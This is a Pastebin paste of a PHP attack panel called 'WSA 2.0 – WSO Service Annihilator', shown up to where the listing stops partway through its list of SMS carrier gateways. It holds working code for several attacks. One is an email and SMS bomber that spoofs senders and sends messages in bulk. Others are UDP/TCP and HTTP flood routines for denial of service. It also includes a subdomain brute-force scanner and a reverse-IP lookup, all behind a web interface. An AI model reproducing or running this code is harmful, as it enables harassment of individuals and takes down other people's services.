Advertisement
Guest User

WSA 2.0

a guest
Apr 17th, 2016
1,116
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 38.02 KB | None | 0 0
  1. <?php
  2. $t = explode(' ', microtime(TRUE));
  3. ini_set('display_errors', 1);
  4. error_reporting(E_ALL);
  5. session_start();
  6. @ini_set('max_execution_time', 0);
  7. @set_time_limit(0);
  8. $wsa = new WSA_2_0();
  9. echo $wsa->init($t);
  10.  
  11.  
  12. if(is_array(filter_input_array(INPUT_POST))) {
  13.     $a = filter_input_array(INPUT_POST);
  14.     echo $wsa->handler($a);
  15. }
  16. else {
  17.     echo $wsa->handler('1');
  18. }
  19.  
  20. echo $wsa->pageView('footer');
  21. exit;
  22.  
  23. class WSA_2_0 {
  24.    
  25.     private $pages = array("1"=>"main","2"=>"mail","3"=>"resolve","4"=>"reverse","5"=>"dos");
  26.     private $prefix = array("mail", "www", "ns2", "ns1", "blog", "localhost", "m", "ftp",
  27.         "mobile", "ns3", "smtp", "search", "api", "dev", "secure", "webmail", "admin",
  28.         "img", "news", "sms", "test", "video", "www2", "media", "static", "ads",
  29.         "mail2", "beta", "wap", "dns2", "support", "pop", "my", "origin-www", "help",
  30.         "newsletter", "ns4", "upload", "mail3", "blogs", "download", "dns1", "www3", "shop",
  31.         "forum", "chat", "www1", "image", "app", "tv", "dns", "services", "music",
  32.         "images", "game", "pay", "new", "host", "www4", "service", "ad", "monitor",
  33.         "web2", "wiki", "mx1", "sports", "lists", "m1", "games", "db", "m2",
  34.         "business", "dns3", "ws", "counter", "travel", "photo", "gateway", "members", "c",
  35.         "g", "mail4", "crm", "tools", "backup", "mail1", "apps", "t", "email",
  36.         "img3", "cms", "demo", "local", "ns", "i", "s", "community", "connect",
  37.         "cdn", "w12", "iphone", "cacti", "w11", "www.mail", "auth", "rss", "nagios",
  38.         "www.search", "home", "data", "img2", "live", "files", "www5", "login", "stat",
  39.         "sso", "member", "jira", "w4", "img5", "ipad", "web1", "shopping", "core",
  40.         "soccer", "jp", "vpn", "www.m", "labs", "*.blog", "old", "ntp", "mysql",
  41.         "it", "origin", "content", "feedback", "health", "exchange", "puppet", "mx", "corp",
  42.         "job", "a", "img9", "mediakit", "gourmet", "dir", "reports", "pr", "marketing",
  43.         "diet", "crawl", "redmine", "mon", "wallet", "cache", "mac", "feeds", "editor",
  44.         "*.mail", "ftp2", "rt", "info", "kids", "imap", "svn", "reklam", "de",
  45.         "point", "transit", "r", "www.dev", "partners", "hosting", "img1", "www.ads", "www.news",
  46.         "img4", "img6", "db1", "img7", "w2", "www.api", "auto", "adv", "feed",
  47.         "www.sms", "img8", "w5", "partner", "cs", "cm", "w3", "whm", "w18",
  48.         "w6", "w8", "origin-images", "cpanel", "mms", "forums", "xml", "meet", "album",
  49.         "vote", "bit", "event", "us", "www6", "bitex", "av", "payment", "money",
  50.         "group", "mx2", "a1", "h2", "www.mobile", "daily", "videos", "e", "downloads",
  51.         "pl", "gps", "enews", "pg", "map", "autodiscover", "education", "sandbox", "autos",
  52.         "mv", "im", "dns4", "m3", "m9", "w10", "w13", "w14", "w20",
  53.         "w21", "ticket", "sip", "jobs", "gitlab", "stats", "u", "www9", "pda",
  54.         "survey", "love", "me", "www15", "w15", "www22", "sites", "smtp3", "smtp2",
  55.         "smtp1", "web", "press", "backend", "n", "widgets", "es", "www90", "s269",
  56.         "s281", "s216", "s221", "s222", "s224", "s227", "s233", "s236", "s237",
  57.         "s241", "s245", "s247", "s248", "s251", "s252", "s253", "s254", "s255",
  58.         "s256", "s257", "s258", "s262", "s264", "s265", "s266", "s267", "s268",
  59.         "s270", "s271", "s272", "s273", "s274", "s275", "s276", "s277", "s278",
  60.         "s280", "s285", "s286", "s287", "s288", "s289", "s291", "s304", "s305",
  61.         "s296", "s307", "s308", "s309", "s311", "s312", "s313", "s314", "s315",
  62.         "s316", "s317", "s318", "s321", "s324", "s325", "s326", "s329", "s331",
  63.         "s332", "s333", "s334", "s335", "s337", "s338", "s341", "s342", "s343",
  64.         "s344", "s345", "s346", "s347", "s348", "s349", "s351", "s352", "s353",
  65.         "s354", "s355", "s356", "s357", "s336", "s339", "s411", "s412", "s413",
  66.         "s414", "s415", "s416", "s417", "s418", "s419", "s421", "s422", "s424",
  67.         "s425", "s426", "s427", "s428", "s429", "s431", "s432", "s433", "s435",
  68.         "s436", "s438", "s439", "s441", "s442", "s443", "s444", "s445", "s446",
  69.         "s447", "s448", "s450", "s451", "s452", "s453", "s454", "s455", "s456",
  70.         "s350", "s458", "s459", "s461", "s462", "s463", "s464", "s465", "s466",
  71.         "s467", "s468", "s469", "s471", "s472", "s473", "s474", "s475", "s476",
  72.         "s477", "s402", "s403", "s406", "s420", "s430", "s434", "s437", "s440",
  73.         "s449", "s457", "s460", "s470", "river", "r1", "s203", "s249", "s239",
  74.         "m.", "share", "file", "s238", "s230", "s207", "s202", "s201", "s410",
  75.         "free", "flv", "drm", "s401", "api-test", "backup1", "promo", "o1.email", "s340",
  76.         "guides", "s310", "s330", "att", "s320", "s299", "s298", "s297", "dev1",
  77.         "main", "s306", "smoke", "s295", "s1", "s2", "s303", "s301", "sm",
  78.         "zabbix", "sms2", "jobb", "core2", "irc", "s302", "dev.payment", "billing", "s40",
  79.         "s33", "s31", "status", "s30", "movies", "entertainment", "s18", "www.tv", "s17",
  80.         "edge", "adserver", "s16", "s290", "s29", "podcast", "w9", "www.games", "adserver2",
  81.         "s7", "mailing", "s5", "tracker", "s4", "r2", "www.wap", "dm", "yahoo",
  82.         "cisco2", "cisco1", "facebook", "access", "mobi", "sync", "elections", "results", "archives",
  83.         "surveys", "users", "w1", "subscribe", "bk", "www.shopping", "football", "relay", "w7",
  84.         "adimg", "ocs", "x1", "x3", "www.cdn", "toolbar", "mobil", "solr", "www.ad",
  85.         "www.adimg", "db3", "*.red", "www.blog", "navi", "db01", "db4", "*.dev", "db02",
  86.         "m0", "araba", "present", "profile", "sr", "w17", "w19", "w22", "w23",
  87.         "w24", "anime", "research", "fortune", "cp1", "cp2", "cp3", "cp4", "cp5",
  88.         "cp6", "cp7", "cp8", "cp9", "cp10", "voip", "fotogaleri", "secure.dev", "screenshot",
  89.         "*.search", "secim", "canli", "sorry", "log", "in", "kvm", "translate", "coupon",
  90.         "challenge", "bb", "docs", "services2", "weather", "click", "tvadmin", "vid1", "vid2",
  91.         "sharepoint", "code", "test1", "history", "appdev", "admin.test", "buzz", "realty", "widget",
  92.         "noticias", "radio", "blogger", "showcase", "oas", "inter", "fotos", "helpdesk", "download2",
  93.         "*.staging", "fr", "local.api", "pt", "as", "ru", "en", "*.blogs", "test.www",
  94.         "www.chat", "nb", "lb", "img0", "ssl", "link", "ns5", "dating", "newsletters",
  95.         "contribute", "master", "www.hosting", "img10", "img11", "kid", "cache3", "cache1", "polls",
  96.         "qq", "campus", "record", "kk", "www.music", "dc", "webdisk", "ssl1", "db2",
  97.         "app2", "web3", "api.news", "dev.movie", "fm", "advertising", "dictionary", "cache2", "form",
  98.         "dev.music", "season", "conference", "dev.news", "dev.travel", "error", "finance", "portal", "mail5.mail",
  99.         "sq1", "mail4.mail", "origin-www.sjl01", "mail3.mail", "beacon", "click1.mail", "wireless", "now", "mail2.mail",
  100.         "archive", "mail7.mail", "o", "mail1.mail", "mail6.mail", "ad2", "ad3", "x", "cdntest",
  101.         "ad1", "pv", "profiles", "fe2", "origin-video", "fe1", "cn", "cancer", "catalog",
  102.         "m4", "m6", "m7", "m8", "food", "w0", "sport", "magazine", "ask",
  103.         "social", "wap3", "game1", "mp", "contact", "wap1", "www.demo", "pet", "family",
  104.         "open", "ap", "seminar", "mailer", "www16", "www17", "movie", "www23", "www24",
  105.         "www25", "www26", "www30", "www31", "www32", "www36", "www37", "www39", "www41",
  106.         "www43", "www44", "www47", "www48", "www49", "www51", "www54", "www56", "www61",
  107.         "www63", "www66", "www68", "www69", "www81", "www82", "www270", "one", "corporate",
  108.         "www10", "www20", "books", "www.jobs", "events", "spotlight", "www18", "www19", "www55",
  109.         "www64", "www65", "www67", "www70", "www74", "s259", "travel2", "imgs", "3g",
  110.         "id", "stock", "union", "sales", "quangcao", "auth1", "ajax", "alt", "video1",
  111.         "video2", "auth2", "auth3", "dv1", "speedtest", "munin", "tracking", "dev.www", "zippy",
  112.         "otrs", "im2", "im3", "im4", "am", "im1", "market", "*.s", "*.b",
  113.         "b", "l", "chat2", "q", "maintenance", "developer", "b2", "ekonomi", "spor",
  114.         "web10", "dns5", "intranet", "beta.m", "christmas", "v", "bbs", "activity", "us.m",
  115.         "m10", "idc", "m11", "user", "www.game", "ann", "fb", "woman", "jabber",
  116.         "mb2", "adm", "wap2", "staging", "talk", "cf", "fin", "rw", "p",
  117.         "men", "women", "list", "lite", "win", "www.help", "site", "club", "i3.comet.webchat",
  118.         "webchat", "www.plb3", "backoffice", "i7.comet.webchat", "comet.webchat",
  119.         "ext.webchat", "i2.comet.webchat", "i6.comet.webchat", "www.plb1",
  120.         "www.plb2", "www.plb4", "www.plb5", "www.plb6", "www.slb1", "www.slb2", "www.slb3",
  121.         "www.slb4", "www.slb5", "www.slb6", "buddy.webchat", "i9.comet.webchat", "m.plb1", "m.plb2",
  122.         "i4.comet.webchat", "m.slb2", "i0.comet.webchat", "i1.comet.webchat",
  123.         "i8.comet.webchat", "i5.comet.webchat", "m.slb1", "msgrs.webchat", "mayday");
  124.    
  125.     public function __construct() {
  126.         if(is_array(filter_input_array(INPUT_POST))) {
  127.             $a = filter_input_array(INPUT_POST);
  128.             foreach ($a as $k => $v) {
  129.                 $this->$k = $v;
  130.             }
  131.         }  
  132.     }
  133.    
  134.     public function init($t) {
  135.         $this->sTime = $t;
  136.         return $this->pageView('header');
  137.     }
  138.    
  139.     public function handler($a) {
  140.         if(isset($this->a)) {
  141.             return $this->stagging();
  142.         }
  143.         else {
  144.             $this->a = $a;
  145.             return $this->stagging();
  146.         }
  147.     }
  148.    
  149.     private function newsFeed() {
  150.         $this->newsList = $this->pageView($this->pages['1']);
  151.         $feed = simplexml_load_file('http://sec.jetlib.com/?media=atom');
  152.         $children = $feed->children('http://www.w3.org/2005/Atom');
  153.         $entries = $children->entry;
  154.         foreach ($entries as $entry) {
  155.             $details = $entry->children('http://www.w3.org/2005/Atom');
  156.             $this->newsList .= '<div class="activenewstitle">'
  157.                     . '<h1>' . $details->title . '</h1>'
  158.                     . '</div>'
  159.                     . '<div class="activenewscontent">'
  160.                     . $details->content
  161.                     . '<br>'
  162.                     . '<a href=' . $details->id . '>' . $details->id . '</a>'
  163.                     . '</div>';
  164.         }
  165.         return $this->newsList;
  166.     }
  167.    
  168.    
  169.     private function stagging() {
  170.             switch ($this->a) {
  171.         case 1:
  172.             return $this->newsFeed();
  173.             break;
  174.         case 2:
  175.             return $this->mailStart();
  176.             break;
  177.         case 3:
  178.             return $this->resolveStart();
  179.             break;
  180.         case 4:
  181.             return $this->reverseIpStart();
  182.             break;
  183.         case 5:
  184.             return $this->dosStart();
  185.             break;
  186.         default:
  187.             return $this->newsFeed();
  188.             break;
  189.         }
  190.     }
  191.    
  192.     private function mailStart() {
  193.         if(isset($this->p6)) {
  194.             $this->p5 = "$this->p5.$this->p6";
  195.         }
  196.         if(!filter_var($this->p2, FILTER_VALIDATE_EMAIL) && isset($this->p1)) {
  197.             $this->p2 = 'rekt@gayjimsgym.com';
  198.         }
  199.         if(filter_var($this->p1, FILTER_VALIDATE_EMAIL) && ctype_digit($this->p3)) {
  200.             return $this->launchMailJob();
  201.         }
  202.         else {
  203.             return $this->pageView($this->pages[$this->a]);
  204.         }
  205.     }
  206.    
  207.     private function resolveStart() {
  208.         if(isset($this->p1) && gethostbyname($this->p1)) {
  209.             return $this->launchResolveJob();
  210.         }
  211.         else {
  212.             return $this->pageView($this->pages[$this->a]);
  213.         }
  214.     }
  215.    
  216.     private function reverseIpStart() {
  217.         if(isset($this->p1) && (filter_var($this->p1, FILTER_VALIDATE_IP))) {
  218.             return $this->launchReverseIpJob();
  219.         }
  220.         else {
  221.             return $this->pageView($this->pages[$this->a]);
  222.         }
  223.     }
  224.    
  225.     private function dosStart() {
  226.         if($this->p1 != 'http' && ctype_digit($this->p3) && ctype_digit($this->p4)) {
  227.             return $this->launchUdpTcpJob();
  228.         }
  229.         elseif($this->p1 == 'http' && ctype_digit($this->p4)) {
  230.             return $this->launchHttpJob();
  231.         }
  232.         else {
  233.             return $this->pageView($this->p1);
  234.         }
  235.        
  236.     }
  237.    
  238.     private function launchMailJob() {
  239.         $errno = '0';
  240.         $succ = '0';
  241.         echo $this->pageView('mail');
  242.         echo '<div class="resultstitle"><h1>Mail Bomber Output</h1></div><div class="resultscontent">';
  243.         for ($i = 0; $i < $this->p3; $i++) {
  244.             $p2 = explode('@', $this->p2);
  245.             $p2[0] = $p2[0] . $i;
  246.             $from = implode('@', $p2);
  247.             $p4 = $this->p4 . $i;
  248.             $headers = "From: $from" . "\r\n";
  249.             $headers .= "Reply-To: $from" . "\r\n";
  250.             $headers .= "X-Mailer: PHP/" . phpversion();
  251.             if (!mail($this->p1, $p4, $this->p5, $headers)) {
  252.                 if($errno + $succ == 50) {
  253.                     echo '<br>';
  254.                     $errno = 0;
  255.                     $submit = 0;
  256.                 }
  257.                 $errno++;
  258.                 echo '<font color="red">|</font>';
  259.             } else {
  260.                 if($errno + $succ == 50) {
  261.                     echo '<br>';
  262.                     $errno = 0;
  263.                     $submit = 0;
  264.                 }
  265.                 $succ++;
  266.                 echo '<font color="green">|</font>';
  267.             }
  268.         }
  269.         echo '</div>';
  270.     }
  271.    
  272.     private function launchResolveJob() {
  273.         echo $this->pageView('resolve');
  274.         echo '<div class="resultstitle"><h1>Subdomain Scanner Output</h1></div><div class="resultscontent">';
  275.         echo '<center><table cellspacing="1" cellpadding="2" class="info">';
  276.         foreach ($this->prefix as $prefix) {
  277.             $domain = $prefix . '.' . $this->p1;
  278.             $domainIP = gethostbyname($domain);
  279.             if(filter_var($domainIP, FILTER_VALIDATE_IP)) {
  280.                 echo '<tr><td>' . $domain . '</td><td>' . $domainIP . '</td></tr>';
  281.             }
  282.         }
  283.         echo '</table></center></div>';
  284.     }
  285.    
  286.     private function launchReverseIpJob() {
  287.         echo $this->pageView('reverse');
  288.         echo '<div class="resultstitle"><h1>Reverse IP Output</h1></div><div class="resultscontent">';
  289.         echo '<center><table cellspacing="1" cellpadding="2" class="info">';
  290.         echo '<tr><th>Host</th><th>Veriffied IP</td></tr>';
  291.         $uri = "http://domains.yougetsignal.com/domains.php";
  292.         $ch = curl_init($uri);
  293.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  294.         curl_setopt($ch, CURLOPT_POSTFIELDS, "remoteAddress=$this->p1&ket=");
  295.         curl_setopt($ch, CURLOPT_HEADER, 0);
  296.         curl_setopt($ch, CURLOPT_POST, 1);
  297.         $srf = curl_exec($ch);
  298.         preg_match_all("/\[\"(.*)\",/U", $srf, $match);
  299.         foreach ($match[1] as $url) {
  300.             if($this->p1 === gethostbyname($url)) {
  301.             echo '<tr><td>' . $url . '</td><td>' . gethostbyname($url) . '</td></tr>';
  302.             }
  303.         }
  304.         echo '</table></center></div>';
  305.     }
  306.    
  307.     private function launchUdpTcpJob() {
  308.         echo $this->pageView($this->p1);
  309.         $end = time() + $this->p4;
  310.         $succ = 0;
  311.         for ($sendData = 0; strlen($sendData) < 65000; $sendData .= Chr(255)) {
  312.            
  313.         }
  314.         while (1) {
  315.             if (time() > $end) {
  316.                 break;
  317.             }
  318.             $fp = fsockopen($this->p1 . '://' . $this->p2, $this->p3, $errno, $errstr, 5);
  319.             if ($fp) {
  320.                 fwrite($fp, $sendData);
  321.                 fclose($fp);
  322.                 $succ++;
  323.             }
  324.         }
  325.         echo '<div class="resultstitle"><h1>DoS Tool Output</h1></div>';
  326.         echo '<div class="resultscontent">';
  327.         if($succ == 0) { echo '<font color="red">ERROR</font>'; }
  328.        
  329.         else { echo '<span>' . round($succ) . '</span> Packets sent <span>' . round($succ/$this->p4) . '</span> Packets/s'; }
  330.         echo'</div>';
  331.     }
  332.  
  333.     private function launchHttpJob() {
  334.         echo $this->pageView($this->p1);
  335.         $end = time() + $this->p4;
  336.         $succ = 0;
  337.         $sendData .= 'GET ' . $this->p5 . ' HTTP/1.1' . "\r\n";
  338.         $sendData .= 'Host: ' . $this->p2 . "\r\n";
  339.         $sendData .= 'User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:2.0b7) Gecko/20100101 Firefox/4.0b7' . "\r\n";
  340.         $sendData .= 'Keep-alive: 300' . "\r\n";
  341.         $sendData .= 'Connection: keep-alive' . "\r\n\r\n";
  342.         $fp = fsockopen($this->p2, 80, $errno, $errstr, 5);
  343.         while (1) {
  344.             if (time() > $end) {
  345.                 break;
  346.             }
  347.             if ($fp) {
  348.                 fwrite($fp, $sendData);
  349.                 fclose($fp);
  350.                 $succ++;
  351.             } else {
  352.                 $fp = fsockopen($this->p2, 80, $errno, $errstr, 5);
  353.             }
  354.         }
  355.         echo '<div class="resultstitle"><h1>DoS Tool Output</h1></div>';
  356.         echo '<div class="resultscontent">';
  357.         if($succ == 0) { echo '<font color="red">ERROR</font>'; }
  358.        
  359.         else { echo '<span>' . round($succ) . '</span> Packets sent <span>' . round($succ/$this->p4) . '</span> Packets/s'; }
  360.         echo'</div>';
  361.     }
  362.    
  363.  
  364.     public function pageView($chunk) {
  365.         $chld = new constructHTML();
  366.         return $chld->fetchHtml($chunk);
  367.     }
  368.    
  369.  
  370. }
  371.  
  372. class constructHTML extends WSA_2_0 {
  373.  
  374.    
  375.     private $headerHTML = '<!-- header -->'
  376. .'<head>'
  377. .'    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">'
  378. .'    <title>WSA 2.0</title>'
  379. .'    <style>'
  380. .'        body'
  381. .'        {'
  382. .'            height:100%;'
  383. .'            width:100%;'
  384. .'            padding:0;'
  385. .'            margin:0;'
  386. .'            color:#e1e1e1;'
  387. .'            background-color:#444;'
  388. .'        }'
  389. .'        body,td,th'
  390. .'        {'
  391. .'            font: 9pt Lucida,Verdana;margin:0;'
  392. .'            color:#e1e1e1;'
  393. .'        }'
  394. .'        .headercontainer'
  395. .'        {'
  396. .'            width: 100%;'
  397. .'            display: inline-flex;'
  398. .'            flex-direction: column;'
  399. .'            background-color:#222;'
  400. .'            margin-bottom: 20px;'
  401. .'        }'
  402. .'        .header'
  403. .'        {'
  404. .'            display: inline;'
  405. .'            text-align: center;'
  406. .'        }'
  407. .'        .menubar'
  408. .'        {'
  409. .'            margin-top: 5px;'
  410. .'            justify-content: center;'
  411. .'            text-align: center;'
  412. .'            display: inline-flex;'
  413. .'        }'
  414. .'        .menubar > div'
  415. .'        {'
  416. .'            width: 10%;'
  417. .'            margin: 5px;'
  418. .'            border-radius: 10px 10px 10px 10px;'
  419. .'            background-color: #444;'
  420. .'        }'
  421. .'        .menubar > div:hover'
  422. .'        {'
  423. .'            background-color: #333;'
  424. .'            font-weight: bold;'
  425. .'        }'
  426. .'        .activepage'
  427. .'        {'
  428. .'            border-left: 5px solid #444;'
  429. .'            border-right: 5px solid #444;'
  430. .'            background-color:#444;'
  431. .'        }'
  432. .'        .activetitle'
  433. .'        {'
  434. .'            width:100%;'
  435. .'            background-color:#222;'
  436. .'        }'
  437. .'        .activecontent'
  438. .'        {'
  439. .'            border-left: 5px solid #444;'
  440. .'            text-align: center;'
  441. .'            background-color: #333;'
  442. .'            padding-bottom: 20px;'
  443. .'            padding-top: 20px;'
  444. .'        }'
  445. .'        .activenews'
  446. .'        {'
  447. .'            width: 90%;'
  448. .'            display:    inline-block;'
  449. .'            border-left: 5px solid #333;'
  450. .'            border-right: 5px solid #333;'
  451. .'            background-color: #555;'
  452. .'            vertical-align: top;'
  453. .'        }'
  454. .'        .activenewstitle'
  455. .'        {'
  456. .'            background-color:#222;'
  457. .'            border-top: 40px #333 solid;'
  458. .'            text-align: left;'
  459. .'        }'
  460. .'        .activenewscontent'
  461. .'        {'
  462. .'            border-left: 5px solid #333;'
  463. .'            text-align: center;'
  464. .'            width: 100%;'
  465. .'            min-height: 40px;'
  466. .'        }'
  467. .'        .activenewscontent > p'
  468. .'        {'
  469. .'            margin: 0;'
  470. .'        }'
  471. .'        .results'
  472. .'        {'
  473. .'            margin-left: auto;'
  474. .'            margin-right: auto;'
  475. .'            display: table;'
  476. .'            background-color: #555;'
  477. .'        }'
  478. .'        .resultstitle'
  479. .'        {'
  480. .'            background-color:#222;'
  481. .'            border-top: 40px #333 solid;'
  482. .'            text-align: left;'
  483. .'        }'
  484. .'        .resultscontent'
  485. .'        {'
  486. .'            border-left: 5px solid #333;'
  487. .'            text-align: center;'
  488. .'            min-height: 40px;'
  489. .'            padding-bottom: 20px;'
  490. .'        }'
  491. .'        span'
  492. .'        {'
  493. .'            color:#df5;'
  494. .'        }'
  495. .'        .title'
  496. .'        {'
  497. .'            color:#df5;'
  498. .'            font-size:40px;'
  499. .'        }'
  500. .'        .subtitle'
  501. .'        {'
  502. .'            padding-top:10px;'
  503. .'            color:#fff;'
  504. .'            font-size:15px;'
  505. .'        }'
  506. .'        h1'
  507. .'        {'
  508. .'            color: #df5;'
  509. .'            border-left:5px solid #df5;'
  510. .'            padding: 2px 5px;'
  511. .'            font: 14pt Verdana;'
  512. .'            margin:0;'
  513. .'        }'
  514. .'        a'
  515. .'        {'
  516. .'            text-decoration:none;'
  517. .'            color:#df5;'
  518. .'        }'
  519. .'        a:hover'
  520. .'        {'
  521. .'            text-decoration:underline;'
  522. .'        }'
  523. .'        table{'
  524. .'            text-align: center;'
  525. .''
  526. .'        }'
  527. .'        th.cont {'
  528. .'            color: #df5;'
  529. .'            background-color:#222;'
  530. .'        }'
  531. .'        td.cont {'
  532. .'            font: 9pt Lucida,Verdana;'
  533. .'            margin:0;'
  534. .'            color:#e1e1e1;'
  535. .'        }'
  536. .'        tr:nth-child(2n+0) {'
  537. .'            background-color: #444;'
  538. .'        }'
  539. .'        input,textarea,select'
  540. .'        {'
  541. .'            margin:0;'
  542. .'            color:#fff;'
  543. .'            background-color:#555;'
  544. .'            border:1px solid #df5;'
  545. .'            font: 9pt Monospace, "Courier New";'
  546. .'        }'
  547. .'        .footerwrapper'
  548. .'        {'
  549. .'            display: flex;'
  550. .'            background-color:#222;'
  551. .'            min-height:84px;'
  552. .'            border-top:2px solid #444;'
  553. .'            border-left: 5px solid #444;'
  554. .'            color:#fff;'
  555. .'        }'
  556. .'        .footerCenter{'
  557. .'            width:50%;'
  558. .'            overflow:hidden;'
  559. .'            border-right:2px solid #444;'
  560. .'            border-left:2px solid #444;'
  561. .'            display:inline-block;'
  562. .'        }'
  563. .'        .footerLeft{'
  564. .'            width:25%;'
  565. .'            overflow:hidden;'
  566. .'            display:inline-block;'
  567. .'        }'
  568. .'        .footerRight{'
  569. .'            width:25%;'
  570. .'            overflow:hidden;'
  571. .'            display:inline-block;'
  572. .'        }'
  573. .'    </style>'
  574. .'</head>'
  575. .'<body>'
  576. .'    <div class="headercontainer">'
  577. .'        <div class="header">'
  578. .'            <div class="title">'
  579. .'                WSA 2.0'
  580. .'            </div>'
  581. .'            <div class="subtitle">'
  582. .'                WSO Service Annihilator'
  583. .'            </div>'
  584. .'        </div>'
  585. .'    <script>'
  586. .'        var d = document;'
  587. .'        function set(a, p1, p2, p3, p4, p5) {'
  588. .'        if (a != null)d.mf.a.value = a;'
  589. .'        if (p1 != null)d.mf.p1.value = p1;'
  590. .'        if (p2 != null)d.mf.p2.value = p2;'
  591. .'        if (p3 != null)d.mf.p3.value = p3;'
  592. .'        if (p4 != null)d.mf.p4.value = p4;'
  593. .'        if (p5 != null)d.mf.p5.value = p5;'
  594. .'        }'
  595. .'        function g(a, p1, p2, p3, p4, p5) {'
  596. .'        set(a, p1, p2, p3, p4, p5);'
  597. .'        d.mf.submit();'
  598. .'        }'
  599. .'    </script>'
  600. .'    <form method=post name=mf style="display:none;">'
  601. .'        <input type=hidden name=a>'
  602. .'        <input type=hidden name=p1>'
  603. .'        <input type=hidden name=p2>'
  604. .'        <input type=hidden name=p3>'
  605. .'        <input type=hidden name=p4>'
  606. .'        <input type=hidden name=p5>'
  607. .'        <input type=hidden name=p6>'
  608. .'    </form>'
  609. .'      <div class="menubar">'
  610. .'          <div><a href="#" onclick="g(\'1\',null,null,null,null);">Home</a></div>'
  611. .'          <div><a href="#" onclick="g(\'2\',null,null,null,null);">Mail</a></div>'
  612. .'          <div><a href="#" onclick="g(\'3\',null,null,null,null);">Resolve</a></div>'
  613. .'          <div><a href="#" onclick="g(\'4\',null,null,null,null);">ReverseIP</a></div>'
  614. .'          <div><a href="#" onclick="g(\'5\',\'udp\',null,null,null);">DDoS</a></div>'
  615. .'      </div>'
  616. .'    </div>';
  617.     private $mainHTML = '<!-- content -->'
  618. .'    <div class="activepage">'
  619. .'        <div class="activetitle">'
  620. .'            <h1>Latest News - Jetlib.com</h1>'
  621. .'        </div>'
  622. .'        <div class="activecontent">'
  623. .'            <div class="results">';
  624.     private $mailHTML = '<!-- content -->'
  625. .'    <div class="activepage">'
  626. .'        <div class="activetitle">'
  627. .'            <h1>Email/SMS Bomber</h1>'
  628. .'        </div>'
  629. .'        <div class="activecontent">'
  630. .'            <form onSubmit="g(this.a.value,this.p1.value,this.p2.value,this.p3.value,this.p4.value,this.p5.value);return false;">'
  631. .'                <input type="hidden" name="a" value="2" />'
  632. .'                <span>Email Bomber</span><br>'
  633. .'                Target<br>'
  634. .'                <input type="text" name="p1" placeholder="Target email" value="" /><br>'
  635. .'                Sender<br>'
  636. .'                <input type="text" name="p2" placeholder="Spoof email" value="" /><br>'
  637. .'                Amount<br>'
  638. .'                <input type="text" name="p3" placeholder="100" value="" /><br>'
  639. .'                Subject<br>'
  640. .'                <input type="text" name="p4" placeholder="Subject" value="" /><br>'
  641. .'                Message<br>'
  642. .'                <textarea id="bigbox" name="p5"></textarea><br>'
  643. .'                <input type="submit" value=">> Send <<"/><br>'
  644. .'            </form>'
  645. .'            <form  onSubmit="g(this.a.value,this.p1.value,this.p2.value,this.p3.value,this.p4.value,this.p5.value,this.p6.value);return false;">'
  646. .'                <input type="hidden" name="a" value="2" />'
  647. .'                <span>SMS Bomber</span><br>'
  648. .'                Target<br>'
  649. .'                <input type="text" name="p1" placeholder="Target cell number" value="" /><br>'
  650. .'                Provider<br>'
  651. .'                <select name="p6">'
  652. .'                    <option value="@sms.3rivers.net">3 River Wireless</option>'
  653. .'                    <option value="@paging.acswireless.com">ACS Wireless</option>'
  654. .'                    <option value="@message.alltel.com">Alltel</option>'
  655. .'                    <option value="@txt.att.net ">AT&amp;T</option>'
  656. .'                    <option value="@txt.bellmobility.ca">Bell Canada</option>'
  657. .'                    <option value="@bellmobility.ca">Bell Canada</option>'
  658. .'                    <option value="@txt.bell.ca">Bell Mobility (Canada)</option>'
  659. .'                    <option value="@txt.bellmobility.ca">Bell Mobility</option>'
  660. .'                    <option value="@blueskyfrog.com">Blue Sky Frog</option>'
  661. .'                    <option value="@sms.bluecell.com">Bluegrass Cellular</option>'
  662. .'                    <option value="@myboostmobile.com">Boost Mobile</option>'
  663. .'                    <option value="@bplmobile.com">BPL Mobile</option>'
  664. .'                    <option value="@cwwsms.com">Carolina West Wireless</option>'
  665. .'                    <option value="@mobile.celloneusa.com">Cellular One</option>'
  666. .'                    <option value="@csouth1.com">Cellular South</option>'
  667. .'                    <option value="@cwemail.com">Centennial Wireless</option>'
  668. .'                    <option value="@messaging.centurytel.net">CenturyTel</option>'
  669. .'                    <option value="@txt.att.net ">Cingular (Now AT&amp;T)</option>'
  670. .'                    <option value="@msg.clearnet.com">Clearnet</option>'
  671. .'                    <option value="@comcastpcs.textmsg.com">Comcast</option>'
  672. .'                    <option value="@corrwireless.net">Corr Wireless Communications</option>'
  673. .'                    <option value="@mobile.dobson.net">Dobson</option>'
  674. .'                    <option value="@sms.edgewireless.com">Edge Wireless</option>'
  675. .'                    <option value="@fido.ca">Fido</option>'
  676. .'                    <option value="@sms.goldentele.com">Golden Telecom</option>'
  677. .'                    <option value="@messaging.sprintpcs.com">Helio</option>'
  678. .'                    <option value="@text.houstoncellular.net">Houston Cellular</option>'
  679. .'                    <option value="@ideacellular.net">Idea Cellular</option>'
  680. .'                    <option value="@ivctext.com">Illinois Valley Cellular</option>'
  681. .'                    <option value="@inlandlink.com">Inland Cellular Telephone</option>'
  682. .'                    <option value="@pagemci.com">MCI</option>'
  683. .'                    <option value="@page.metrocall.com">Metrocall</option>'
  684. .'                    <option value="@my2way.com">Metrocall 2-way</option>'
  685. .'                    <option value="@mymetropcs.com">Metro PCS</option>'
  686. .'                    <option value="@fido.ca">Microcell</option>'
  687. .'                    <option value="@clearlydigital.com">Midwest Wireless</option>'
  688. .'                    <option value="@mobilecomm.net">Mobilcomm</option>'
  689. .'                    <option value="@text.mtsmobility.com">MTS</option>'
  690. .'                    <option value="@messaging.nextel.com">Nextel</option>'
  691. .'                    <option value="@onlinebeep.net">OnlineBeep</option>'
  692. .'                    <option value="@pcsone.net">PCS One</option>'
  693. .'                    <option value="@txt.bell.ca">President"s Choice</option>'
  694. .'                    <option value="@sms.pscel.com">Public Service Cellular</option>'
  695. .'                    <option value="@qwestmp.com">Qwest</option>'
  696. .'                    <option value="@pcs.rogers.com">Rogers AT&amp;T Wireless</option>'
  697. .'                    <option value="@pcs.rogers.com">Rogers Canada</option>'
  698. .'                    <option value="@satellink.net">Satellink</option>'
  699. .'                    <option value="@email.swbw.com">Southwestern Bell</option>'
  700. .'                    <option value="@messaging.sprintpcs.com">Sprint</option>'
  701. .'                    <option value="@tms.suncom.com">Sumcom</option>'
  702. .'                    <option value="@mobile.surewest.com">Surewest Communicaitons</option>'
